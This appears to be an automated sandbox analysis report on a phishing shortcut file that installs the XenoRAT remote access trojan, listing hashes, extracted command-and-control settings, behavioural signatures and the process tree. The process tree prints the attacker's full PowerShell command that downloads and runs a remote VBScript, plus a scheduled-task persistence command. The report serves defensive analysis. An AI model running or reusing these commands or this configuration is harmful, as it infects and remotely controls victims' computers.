Analysis
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max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-12-2024 05:45
Static task
static1
Behavioral task
behavioral1
Sample
TRANSFERENCIA COMPROBANTES.lnk
Resource
win7-20240708-en
General
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Target
TRANSFERENCIA COMPROBANTES.lnk
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Size
2KB
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MD5
e03e7eeb288c1f96bb336fe0bfa4cb95
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SHA1
e2a53c23480aad659723ee5c8542105955787ac1
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SHA256
a43b59c54921c6b5cc272e0af9917b5973231de9b6d183be381c1820416ce49f
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SHA512
c142377b9ad169f06e62836c4152b916bfff5b4d64487005fcca5dc2d213a9aeaa5a8d6d2fcfbbbbc13b6016aaf9c4ff0b108cff3af98d28cc85d1502478ce2a
Malware Config
Extracted
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
xenorat
dns.stipamana.com
Xeno_rat_nd8912d
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delay
12000
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install_path
appdata
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port
4567
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startup_name
mrec
Signatures
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Detect XenoRat Payload 1 IoCs
resource yara_rule behavioral2/memory/1548-103-0x0000000000400000-0x0000000000412000-memory.dmp family_xenorat -
Xenorat family
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 1132 powershell.exe 12 512 WScript.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1132 powershell.exe -
Downloads MZ/PE file
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Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule behavioral2/files/0x0009000000023c50-37.dat office_macro_on_action -
resource behavioral2/files/0x0009000000023c50-37.dat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation GFKMTE.exe -
Executes dropped EXE 8 IoCs
pid Process 4308 GFKMTE.exe 1548 GFKMTE.exe 1728 GFKMTE.exe 4832 GFKMTE.exe 3436 GFKMTE.exe 2384 GFKMTE.exe 2756 GFKMTE.exe 2988 GFKMTE.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 4308 set thread context of 1548 4308 GFKMTE.exe 95 PID 4308 set thread context of 1728 4308 GFKMTE.exe 96 PID 4308 set thread context of 4832 4308 GFKMTE.exe 97 PID 3436 set thread context of 2384 3436 GFKMTE.exe 99 PID 3436 set thread context of 2756 3436 GFKMTE.exe 100 PID 3436 set thread context of 2988 3436 GFKMTE.exe 101 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2124 schtasks.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2752 WINWORD.EXE 2752 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1132 powershell.exe 1132 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1132 powershell.exe Token: SeDebugPrivilege 4308 GFKMTE.exe Token: SeDebugPrivilege 3436 GFKMTE.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 2752 WINWORD.EXE 2752 WINWORD.EXE 2752 WINWORD.EXE 2752 WINWORD.EXE 2752 WINWORD.EXE 2752 WINWORD.EXE 2752 WINWORD.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 3472 wrote to memory of 1132 3472 cmd.exe 84 PID 3472 wrote to memory of 1132 3472 cmd.exe 84 PID 1132 wrote to memory of 512 1132 powershell.exe 85 PID 1132 wrote to memory of 512 1132 powershell.exe 85 PID 2752 wrote to memory of 4308 2752 WINWORD.EXE 92 PID 2752 wrote to memory of 4308 2752 WINWORD.EXE 92 PID 2752 wrote to memory of 4308 2752 WINWORD.EXE 92 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1548 4308 GFKMTE.exe 95 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 1728 4308 GFKMTE.exe 96 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4308 wrote to memory of 4832 4308 GFKMTE.exe 97 PID 4832 wrote to memory of 3436 4832 GFKMTE.exe 98 PID 4832 wrote to memory of 3436 4832 GFKMTE.exe 98 PID 4832 wrote to memory of 3436 4832 GFKMTE.exe 98 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2384 3436 GFKMTE.exe 99 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2756 3436 GFKMTE.exe 100 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 3436 wrote to memory of 2988 3436 GFKMTE.exe 101 PID 1548 wrote to memory of 2124 1548 GFKMTE.exe 113 PID 1548 wrote to memory of 2124 1548 GFKMTE.exe 113 PID 1548 wrote to memory of 2124 1548 GFKMTE.exe 113
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass zhdfboopntjfmdjtgfdjqbinrdfgfdho -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1132 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
PID:512
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD820.tmp" /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2124
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1728
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2384
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C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2756
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C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2988
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
706B
MD5d95c58e609838928f0f49837cab7dfd2
SHA155e7139a1e3899195b92ed8771d1ca2c7d53c916
SHA2560407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
SHA512405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d
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Filesize
263KB
MD5ff0e07eff1333cdf9fc2523d323dd654
SHA177a1ae0dd8dbc3fee65dd6266f31e2a564d088a4
SHA2563f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5
SHA512b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
10KB
MD5087bcef76143b81090deef4ee4679995
SHA16ebd4fd212d0583157ae03bb0eb5841c53e281fc
SHA25687334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
SHA512b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d
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Filesize
1KB
MD5dabe93a03c5560ab1670cf79b8d28566
SHA169738fe43d4550ece028ff2795a54bbad0985414
SHA256743e8b28a38e98ea27ef07f17b7529976979c7b01eab92586a6cb686c0d1f68d
SHA51215b3b49c46901e00a73def834225df28fd843af1e9ae594c7d061406209f6ce57277673c9c1ae3ed541f989fa499fd3e88929e00ebded6d23301f8d3680a6c57
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Filesize
195KB
MD57ea9da3dd3db6f3fadf04ac76b54434b
SHA1b30b950191046d999e71aaa54fb2648c6655ce9b
SHA256947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170
SHA512f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d
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Filesize
16B
MD5d29962abc88624befc0135579ae485ec
SHA1e40a6458296ec6a2427bcb280572d023a9862b31
SHA256a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
SHA5124311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f
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Filesize
173KB
MD594a7e3859c2e4238421cdfe73d49603c
SHA103f03c5b5d8cf362aa52b9e793e7be398d779c21
SHA256639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
SHA51274048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5